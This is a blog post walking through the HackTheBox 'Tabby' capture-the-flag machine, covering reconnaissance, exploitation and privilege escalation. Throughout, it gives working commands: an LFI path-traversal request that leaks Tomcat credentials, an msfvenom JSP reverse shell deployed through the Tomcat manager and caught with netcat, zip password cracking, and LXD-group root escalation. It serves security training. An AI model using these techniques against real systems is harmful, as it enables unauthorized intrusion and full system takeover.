DEV Community

Cover image for Tabby - HackTheBox
Abass Sesay
Abass Sesay

Posted on

Tabby - HackTheBox

TL;DR

Foothold for this box involved LFI coupled with Tomcat Manger App exploit. Once on the box, gaining User access requires enumeration, enumeration, enumeration. Gaining root require exploit a legitimate application, LXC.

Reconnaissance

Nmap to the rescue for recon. This will give us an idea of the potential attack vectors. PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Mega Hosting 8080/tcp open http Apache Tomcat | http-methods: |_ Supported Methods: OPTIONS GET HEAD POST |_http-open-proxy: Proxy might be redirecting requests |_http-title: Apache Tomcat 12712/tcp closed unknown 26817/tcp closed unknown 27436/tcp closed unknown 34408/tcp closed unknown 46483/tcp closed unknown 61123/tcp closed unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 
Enter fullscreen mode Exit fullscreen mode

The 2 open http ports (80 & 8080), are the primary focus to gain initial foothold.

Hosted at port 80 is a PHP website offering hosting services.
Port 80

It is always a good practice to view the source of the page. From here you can see Local File Inclusion (LFI) is possible. You can try grabbing the file such as the "/etc/passwd". More on this later.

Alt Text

Navigating to the site hosted at port 8080, we see the welcome page shows that tomcat9 is installed and also provides links to Tomcat manager app. This app is the route to getting initial foothold but you will need valid credentials.

Port 8080

With a valid credential, you can deploy a rogue app that would then give us access. As per the Tomcat documentation, the users that can access the manager application are in $CATALINA_BASE/conf/tomcat-users.xml. The goal now is to use the LFI from port 80 to grab the contents of the tomcat-users.xml. Using the $CATALINA_BASE dir listed on the webpage, you cannot get the users file. Searching around, you will find a file list for tomcat9. From this list you can see that the full directory of the user file is "/usr/share/tomcat9/etc/tomcat-users.xml". With the LFI on port 80, we can get the context of this file.

kali@kali:~/HTB/Tabby$ curl http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml <?xml version="1.0" encoding="UTF-8"?> <!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> <tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <!-- NOTE: By default, no user is included in the "manager-gui" role required to operate the "/manager/html" web application. If you wish to use this app, you must define such a user - the username and password are arbitrary. It is strongly recommended that you do NOT use one of the users in the commented out section below since they are intended for use with the examples web application. --> <!-- NOTE: The sample user and role entries below are intended for use with the examples web application. They are wrapped in a comment and thus are ignored when reading this file. If you wish to configure these users for use with the examples web application, do not forget to remove the <!.. ..> that surrounds them. You will also need to set the passwords to something appropriate. --> <!-- <role rolename="tomcat"/> <role rolename="role1"/> <user username="tomcat" password="<must-be-changed>" roles="tomcat"/> <user username="both" password="<must-be-changed>" roles="tomcat,role1"/> <user username="role1" password="<must-be-changed>" roles="role1"/> --> <role rolename="admin-gui"/> <role rolename="manager-script"/> <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/> </tomcat-users> 
Enter fullscreen mode Exit fullscreen mode

As you can see the both the username and password for the manager app are in the user file.

Keep in mind that if you do this through the browser, you will get a blank page. You would have to view the content of the page to see the config file. This is because none of the tags are valid HTML tags.

Foothold

Now that we have creds, the next step if to gain a foothold in the system. Going back to port 8080, we can log into the manager app with the username and password. The application will accept the credential for basic authentication, but it will show you a 403 error. This is because our user does not have the "manager-gui" role.

Alt Text

You can use the credential with curl to upload rogue application that will then give you a foothold. To generate the java war file that will be deployed on the server, you can leverage msfvenom or write one. I went with the former.

kali@kali:~/HTB/Tabby$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.14 LPORT=1337 -f war > revshell.war Payload size: 1089 bytes Final size of war file: 1089 bytes This file can now be deployed and be accessed at a specified endpoint (/foo). kali@kali:~/HTB/Tabby$ pass="\$3cureP4s5w0rd123!" kali@kali:~/HTB/Tabby$ curl -v -u tomcat:$pass --upload-file revshell.war "http://10.10.10.194:8080/manager/text/deploy?path=/foo&update=true" * Trying 10.10.10.194:8080... * Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0) * Server auth using Basic with user 'tomcat' > PUT /manager/text/deploy?path=/foo&update=true HTTP/1.1 > Host: 10.10.10.194:8080 > Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ== > User-Agent: curl/7.72.0 > Accept: */* > Content-Length: 1089 > Expect: 100-continue > * Mark bundle as not supporting multiuse < HTTP/1.1 100 * We are completely uploaded and fine * Mark bundle as not supporting multiuse < HTTP/1.1 200 < Cache-Control: private < Expires: Thu, 01 Jan 1970 00:00:00 GMT < X-Content-Type-Options: nosniff < Content-Type: text/plain;charset=utf-8 < Transfer-Encoding: chunked < Date: Thu, 05 Nov 2020 05:08:56 GMT < OK - Deployed application at context path [/foo] * Connection #0 to host 10.10.10.194 left intact 
Enter fullscreen mode Exit fullscreen mode

Now all you have to do is navigate to "http://10.10.10.194:8080/foo/" to start a reverse shell.

kali@kali:~/HTB/Tabby$ nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.14.14] from (UNKNOWN) [10.10.10.194] 60742 python3 -c "import pty;pty.spawn('/bin/bash')" tomcat@tabby:/var/lib/tomcat9$ ^Z [1]+ Stopped nc -lvnp 1337 kali@kali:~/HTB/Tabby$ stty raw -echo kali@kali:~/HTB/Tabby$ nc -lvnp 1337 tomcat@tabby:/var/lib/tomcat9$  tomcat@tabby:/var/lib/tomcat9$ export TERM=xterm 
Enter fullscreen mode Exit fullscreen mode

Do the following to improve your shell experience and get a fully interactive TTY.

{In remote shell} python3 -c "import pty;pty.spawn('/bin/bash')" [Ctrl-Z] {In local shell} stty raw -echo fg [enter] [enter] {In remote shell} export TERM=xterm 
Enter fullscreen mode Exit fullscreen mode

User Exploit

Running Linpeas, you see that the user on the box; ash, has a password protected backup zip file.

[+] Backup files? -rw-r--r-- 1 ash ash 8716 Jun 16 13:42 /var/www/html/files/16162020_backup.zip -rw-r--r-- 1 root root 2743 Apr 23 2020 /etc/apt/sources.list.curtin.old 
Enter fullscreen mode Exit fullscreen mode

You can use the tool fcrackzip to recover the password

kali@kali:~/HTB/Tabby$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt ash.zip possible pw found: admin@it () 
Enter fullscreen mode Exit fullscreen mode

There is not much to the zip file, but you can use this password to pivot to the user ash and get the user flag.

tomcat@tabby:/tmp$ su ash Password: ash@tabby:~$ ls -al total 28 drwxr-x--- 3 ash ash 4096 Jun 16 13:59 . drwxr-xr-x 3 root root 4096 Jun 16 13:32 .. lrwxrwxrwx 1 root root 9 May 21 20:32 .bash_history -> /dev/null -rw-r----- 1 ash ash 220 Feb 25 2020 .bash_logout -rw-r----- 1 ash ash 3771 Feb 25 2020 .bashrc drwx------ 2 ash ash 4096 May 19 11:48 .cache -rw-r----- 1 ash ash 807 Feb 25 2020 .profile -rw-r----- 1 ash ash 0 May 19 11:48 .sudo_as_admin_successful -rw-r----- 1 ash ash 33 Nov 5 05:41 user.txt ash@tabby:~$ wc -l user.txt 1 user.txt ash@tabby:~$ wc user.txt 1 1 33 user.txt ash@tabby:~$ 
Enter fullscreen mode Exit fullscreen mode

More Reconnaissance

Moving on to root privesc, more recon is needed. Again, from Linpeas results, you can see that the user ash is part of the lxd group. The provides a path to escalate to root. LXC is a lightweight virtualization technology and LXD is the corresponding hypervisor.

[+] All users & groups uid=0(root) gid=0(root) groups=0(root) uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd) uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network) uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve) uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync) ... 
Enter fullscreen mode Exit fullscreen mode

A member of the group escalate to root easily because LXD is a root process that carries out action on behalf of the user. You can find a much detailed explanation here.

Root Exploit

The gist of what needs to get done is as follows :

  • Download and build the latest alpine container from github. You will need to do this on your local system.
git clone https://github.com/saghul/lxd-alpine-builder.git cd lxd-alpine-builder ./build-alpine 
Enter fullscreen mode Exit fullscreen mode
  • When the build completes, transfer the tar file generated to the victim machine (assuming you are running a webserver at port 8000)
ash@tabby:~$ wget http://10.10.14.14:8000/lxd-alpine-builder/alpine-v3.12-x86_64-20200823_2337.tar.gz --2020-11-05 07:11:27-- http://10.10.14.14:8000/lxd-alpine-builder/alpine-v3.12-x86_64-20200823_2337.tar.gz Connecting to 10.10.14.14:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 3183908 (3.0M) [application/gzip] Saving to: 'alpine-v3.12-x86_64-20200823_2337.tar.gz' alpine-v3.12-x86_64 100%[===================>] 3.04M 1.57MB/s in 1.9s 2020-11-05 07:11:29 (1.57 MB/s) - 'alpine-v3.12-x86_64-20200823_2337.tar.gz' saved [3183908/3183908] 
Enter fullscreen mode Exit fullscreen mode
  • Import this image on the victim machine and then initialize lxd and lxc.
ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200823_2337.tar.gz --alias bas ash@tabby:~$ lxd init Would you like to use LXD clustering? (yes/no) [default=no]: Do you want to configure a new storage pool? (yes/no) [default=yes]: Name of the new storage pool [default=default]: Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]: Create a new BTRFS pool? (yes/no) [default=yes]: Would you like to use an existing block device? (yes/no) [default=no]: Size in GB of the new loop device (1GB minimum) [default=15GB]: Would you like to connect to a MAAS server? (yes/no) [default=no]: Would you like to create a new local network bridge? (yes/no) [default=yes]: What should the new bridge be called? [default=lxdbr0]: What IPv4 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]: What IPv6 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]: Would you like LXD to be available over the network? (yes/no) [default=no]: Would you like stale cached images to be updated automatically? (yes/no) [default=yes] Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: ash@tabby:~$ lxc init bas privs -c security.privileged=true Creating privs 
Enter fullscreen mode Exit fullscreen mode
  • Mount the root directory inside the container
ash@tabby:~$ lxc config device add privs mydevice disk source=/ path=/mnt/root recursive=true With the whole setup completed, now you can start a shell in the container. From here on you then navigate to the mount point "/mnt/root". ash@tabby:~$ lxc start privs ash@tabby:~$ lxc exec privs /bin/sh ~ # id uid=0(root) gid=0(root) ~ # cd /mnt/root /mnt/root # ls bin home lost+found root swap.img boot lib media run sys cdrom lib32 mnt sbin tmp dev lib64 opt snap usr etc libx32 proc srv var /mnt/root # cd root/ /mnt/root/root # ls root.txt snap /mnt/root/root # 
Enter fullscreen mode Exit fullscreen mode

We can now get the root flag from the context of the lxc container.

Top comments (0)